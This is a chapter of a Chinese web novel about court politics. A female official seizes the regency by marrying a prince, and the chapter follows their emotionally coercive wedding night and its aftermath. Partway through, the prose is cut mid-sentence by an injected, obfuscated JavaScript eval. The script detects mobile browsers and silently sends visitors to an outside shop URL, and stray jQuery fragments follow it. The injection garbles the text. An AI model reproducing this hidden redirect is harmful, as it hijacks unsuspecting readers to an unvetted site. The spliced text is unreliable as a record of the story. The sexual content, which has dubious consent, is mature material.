宋橙说的句句在理,太女如今也不过五六岁,离成年还有十余年光景,短短一年朝中便能发生翻天覆地的变化,更遑论十年了。
而他的岁数放在这儿,终究要嫁于女子,不可能永世待在宫中。
待太女长大成人,坐稳朝纲那一日,他这个皇兄又该如何自处?仅仅是功高震主,男子干政这两条罪名,就能够将他打入万劫不复之地。
可这是萧家的天下,先祖百战开国、列代君王励精图治攒下来的基业,怎可随意拱手让与一个外人?
萧砚:“我可以退居朝后,你代我摄政。”
“可这天下姓萧,你想登那个位子,莫说我不愿......文武百官也不会任你这般胡来。”
历来只有异姓王谋权篡位,多少还跟皇室沾着些旁支的血缘关系。可宋橙哪一点能沾上?她出身江南小镇,从七品县令一路爬到工部侍郎,已是坐火箭一般的升迁速度,再往上的那一步,进可千古流芳,退则万丈深渊。
宋橙嗤笑:“殿下,规则是死的,但人是活的。你之所以想握着权力不撒手,说到底,不过是怕失了安身立命之本,沦为皇室的附庸。”
“可若有了绝对的权力,便能自己制定规则。而殿下,届时可以永居皇宫,成为一人之下万人之上的凤君,我们的孩子,便是未来的皇帝。”
这个提议确实令人心动。
三皇男和凤君差的可不仅仅是称呼。
前者不过是个成年后便要出宫、寄人篱下的皇族,后者却是万万人之上、与帝王并肩同尊的国父。
哪怕帝王不在了,凤君依然是太女名正言顺的父后,稳坐中宫无人能动。
可他又怎能相信女人的一派胡言?从江南初见起,宋橙的每一句话便裹着几层算计,骗了他一回又一回,早已没有信誉可讲了。
萧砚垂着眼没有答话。
宋橙见他神情松动,只放缓了语气,继续道:“殿下,我可以向你许诺,永生永世,不再纳室。”
这句话要比方才那些都重上许多,即便身为皇男,也依旧无法阻止妻主纳室,何况是高位者?宋橙说这句话,分量又重,又轻。
萧砚:“宋橙,你让我拿什么去信你?”
宋橙的膝盖缓缓抵上榻沿,一点一点地逼近他,婚服的大袖拂过锦被,俯身压了上去,将萧砚轻轻推倒在满床的红绸之间,而后凑到他颈侧,呼吸温热地拂过他的耳廓:“信不信由你。”
话音落下,吻便印了上去,从颈侧微微跳动的脉搏上沿着颌线一路细密地落了下来。
萧砚抬起的手在空中悬了一瞬,又缓缓松开,终究还是没有推拒。
颈侧传来细细密密地痛,缓慢而绵密地刺向心尖,扎得他难以喘息,萧砚的眼角无声地溢出了一滴泪,顺着鬓边滑落,落在颈窝,被温热的舌缓缓舔去。
宋橙退开一些,看着他泛红的眼尾和微微颤抖的长睫,“殿下,大婚之夜,开心些。”
开心?
过了今晚,整个王朝将发生翻天覆地的变化,他如何开心?
待自己死后,又该如何面对萧家的列祖列宗?而史记,又该如何去写他?
那双湿漉漉的眸子里翻涌着爱恨交织的连他自己都理不清的情绪,萧砚望着面前熟悉又陌生的人,哽咽道:“宋橙,我恨死你了。”
宋橙弯了弯唇角,伸手抚上他的脸颊,指腹轻轻蹭过他微湿的眼角,声音又低又缓:“殿下恨也好,爱也罢,今生......怕是再难摆脱臣了。”
萧砚偏过头去不看她,嘴唇抿成了一条线,过了几息,才开口,声音闷在喉咙里,略微模糊,“若有下辈子,我定要亲手将你杀掉。”
宋橙低低笑了一声,重新俯下身来,将他的脸给掰正,“臣拭目以待。不过......”
“殿下这个时候就莫要讲话了。”
“唔......”
最后一个字落进唇齿间,带来更加深而长久的纠缠,宋橙的舌尖探进去轻轻搅弄着他的舌,将他所有尚未出口的话都化作了含糊的气音。
萧砚的手攥住了宋橙的肩头,推拒的力量却微乎其微。
宋橙的手顺着他的衣带缓缓下移,指尖勾主那根松了大半的细带。婚服的外袍缓缓向两侧滑开,繁复的金饰发出细碎的碰撞声。
萧砚仰面躺在红绸之间,头上的凤冠早已落在床边一角,乌黑的长发铺散开来,白皙的脖颈微微仰起。
这副样子好似比平日更加动人。
宋橙眸色微暗,手托上了他的后颈,迫使人迎合着自己。
“殿下好美......”
萧砚的眸子已经微微失焦了,整个人像一滩死水般任由宋橙摆弄,既不反抗也不回应,可宋橙偏偏喜欢极了他这个样子。
像是一个不会动的,只属于她的玩偶。
宋橙想,若是萧砚真的为她生一个女儿,或许她的包容度会直线上升。
——
萧砚是第二日午时才醒过来的。
意识尚未清醒,痛意便袭来了,身上像是被人打断了筋骨又重新捏合了一遍,每一寸皮肉都泛着难以言喻的酸痛,腰又酸又沉,像是被碾过一般,连翻身都牵得他眉心微蹙。
萧砚咬着下唇,强撑着用手肘支起上半身,另一只手扶着腰,慢慢靠上了身后的床栏。
昨晚的宋橙很疯。
许是面具终于撕开了,便再也无所顾忌,恨不得将他拆吃入腹,稍微露出一丝躲开的想法,便会被狠狠扣住。
这是从前不曾有过的。
想到这儿,萧砚的耳根不受控制地烫了起来,他捞起身旁的枕,低头将脸埋进枕间,去嗅上面残留的梅香。
早已在屏风后候着的平儿和知秀听见了动静,连忙端着铜盆和巾帕绕了进来,两人一眼便瞧见自家殿下倚在床栏上那副疲惫又狼狈的模样,平儿的眼眶顿时红了,可又不敢出声,只得咬着下唇把热帕子拧好递过去。
“主子。”
昨夜发生的一切他们看在眼里,虽被拦在门外,可殿内的声响断断续续地传出来,听得平儿心里恨宋橙恨得牙痒痒,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717593|208086||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可主子没有发话,他们便什么都不能做。
萧砚伸手接过帕子,指尖却微微发着颤,连握紧都有些吃力。
他垂眸拭了拭面颊,动作间袖口滑落至肘间,细细密密的痕迹竟从腕骨一路蜿蜒至臂弯,在白皙的皮肤上格外刺目。
平儿终于没忍住,眼泪啪嗒啪嗒地掉了下来,又赶紧低头用手背去擦。
萧砚想要开口,喉咙却像是被一层薄膜堵住了,生涩得发不出完整的音调。知秀连忙从案上倒了杯温水,小心翼翼地递到他手边。
萧砚接过,微抿了一小口,清了清喉咙,哑着声音道:“宋橙呢?”
平儿和知秀对视一眼,支支吾吾道:“宋大人......她......一早就将朝中所有五品及以上的官员召进了乾坤殿议事。”
萧砚握着杯盏的指尖顿了下。
平儿终于没忍住,冲口而出:“殿下,您昨夜为何不将她杀了?!她这般对您......”
“够了!”萧砚低声呵斥,看向平儿的目光迅速冷了下来,“莫要胡言。”
平儿被他这一眼钉在原地,低下头不敢再吭声。
萧砚没再看他,将杯盏递给知秀,撑着床栏缓缓起身。知秀放下杯盏后连忙上前搀扶,萧砚搭着他的小臂站起身来,膝盖猛地软了一下,又被托住。
被宫侍伺候着洗漱好,萧砚坐回镜前,令知秀为他梳发。
镜中的自己唇色比平日红了几分,带着昨夜未曾消尽的绯意,脖颈间几枚清晰的痕迹从领口蔓延而上,藏在衣襟边缘若隐若现,眼尾还残留着一丝薄薄的倦红,与他平日判若两人。
萧砚抬起手,指尖轻轻碰了碰颈侧那枚最显眼的痕迹,温热的皮肤下是还在跳动的脉搏。他的目光落在镜中自己的眉眼上,忽然觉得这张脸有些陌生。
就在这时,殿门开了,宋橙的脚步声穿过外间的砖地,绕过屏风,走到他身边,然后弯下腰来,双臂从后方环过他的肩颈,下巴搁在他的发顶,侧过头在他脸颊上轻轻亲了一下。
萧砚不知宋橙到底是在演什么,身子僵在哪一动不动。
“刚醒?”
“嗯。”
萧砚垂下眼,手心覆上她环在自己腰间的手背,指尖轻轻蜷了蜷,然后转过身来仰面看着她,“商讨的如何?”
宋橙就着这个姿势直起身来,随手解了官袍的外氅丢到一旁的椅背上,然后在他面前蹲了下来,仰着脸冲他笑,“太女以及朝臣皆无异议。”
她这副样子让萧砚恍惚了片刻,一时拿不准宋橙到底是高兴还是什么,只得点点头,声音听不出喜怒:“那便好。”
萧砚伸手,沉默地将宋橙歪掉的那缕碎发别到耳后,视线落在她一直弯着的唇角上,“辛苦妻主了。”
宋橙只是代他摄政,并非直接登帝,那群老家伙心里清楚的很,横竖都是萧家的人掌权,换个人出面罢了,犯不着在萧砚大婚这个当口跳出来找不痛快。
但若宋橙企图登帝,那性质就完全不同了。
根本无需他出手。